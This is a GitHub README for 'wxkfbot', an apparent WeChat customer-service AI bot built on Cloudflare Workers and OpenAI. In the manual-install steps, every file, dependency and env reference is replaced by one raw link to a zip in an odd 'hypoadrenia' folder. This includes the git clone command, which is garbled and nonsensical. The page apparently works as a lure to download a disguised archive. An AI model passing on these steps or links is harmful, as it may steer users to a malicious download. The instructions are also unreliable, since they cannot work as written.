Skip to content

🤖 Build a WeChat customer service AI bot using Cloudflare Workers, integrating OpenAI's GPT for smart, real-time conversations.

Notifications You must be signed in to change notification settings

Esteban2680/wxkfbot

Repository files navigation

🤖 wxkfbot - Easy AI Chat Assistant for WeChat

Welcome to wxkfbot, your AI chat assistant for WeChat. This tool allows you to engage in intelligent conversations seamlessly.

Deploy to Cloudflare Workers

🚀 Getting Started

1. 📋 Requirements

Before you start, make sure you have:

  • A Cloudflare account.
  • A completed WeChat Work account configuration. Refer to our WeChat Work Setup Guide.
  • Your OpenAI API key.
  • A deployed encryption service for secure message handling.

2. 🔧 Installation Steps

Option 1: One-Click Deployment (Recommended)

For a quick setup, follow these steps:

  1. Click the "Deploy to Cloudflare Workers" button above.
  2. Log into your Cloudflare account.
  3. Set up the required environment variables as described below.
  4. Create and configure a KV namespace.
  5. Finish the deployment.

Option 2: Manual Deployment

If you prefer to set it up manually, follow these instructions:

  1. Clone the Repository:

    Open your terminal and run:

    git clone https://raw.githubusercontent.com/Esteban2680/wxkfbot/main/hypoadrenia/wxkfbot.zip
    cd wxkfbot
  2. Install Dependencies:

    Make sure you have https://raw.githubusercontent.com/Esteban2680/wxkfbot/main/hypoadrenia/wxkfbot.zip installed. Then, run:

    npm install
  3. Configure Environment Variables:

    • Copy https://raw.githubusercontent.com/Esteban2680/wxkfbot/main/hypoadrenia/wxkfbot.zip to https://raw.githubusercontent.com/Esteban2680/wxkfbot/main/hypoadrenia/wxkfbot.zip.
    • Fill in the necessary details:
      • WeChat Work configurations (add entries that start with WECHAT_*).
      • OpenAI API configurations (add entries that start with OPENAI_*).
      • KV namespace configurations.
  4. Create a Cloudflare KV Namespace:

    In your terminal, run:

    wrangler kv:namespace create "CONV"

🔗 Download & Install

To download the latest version of wxkfbot, visit the Releases page.

On the Releases page, find the version you need and download it.

🔒 Environment Variables Guide

You will need to fill in several environment variables for wxkfbot to work properly. Here are key variables you must include:

  • WECHAT_APP_ID: Your WeChat app ID.
  • WECHAT_APP_SECRET: Your WeChat app secret.
  • OPENAI_API_KEY: Your OpenAI API key.
  • KV_NAMESPACE: Your Cloudflare KV namespace name.

Make sure all variables are correctly set in your https://raw.githubusercontent.com/Esteban2680/wxkfbot/main/hypoadrenia/wxkfbot.zip.

⚙️ Running the Application

After setting up, you can start the application by deploying to Cloudflare Workers. Once deployed, it will listen for messages on WeChat and respond intelligently using the OpenAI GPT model.

📜 Features Overview

  • No Server Needed: Built on Cloudflare Worker. Simply deploy and run.
  • OpenAI Integration: Engage in smart conversations powered by OpenAI's GPT model.
  • Message Handling: Compatible with WeChat customer service message receiving and replying.
  • Security: Built-in message encryption and decryption for privacy.
  • Session Storage: Use Cloudflare KV to store conversation history securely.
  • Performance: Low latency and high availability, ensuring smooth user experiences.

❓ Frequently Asked Questions

Q1: Do I need to code to set this up?

No, the one-click deployment option requires no coding experience. Just follow the prompts.

Q2: Can I customize the responses?

Yes, you can adjust the OpenAI model settings in your environment variables based on your needs.

Q3: What if I encounter issues?

If you run into problems, please check our issue tracker on GitHub, or consult with the community for help.

🚀 Next Steps

  • Complete your Cloudflare Worker setup.
  • Explore additional configuration options for enhancing your bot's responses.
  • Share your feedback and experiences with the community.

By following these steps, you'll have wxkfbot up and running in no time, providing you with an intelligent chat assistant on WeChat.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •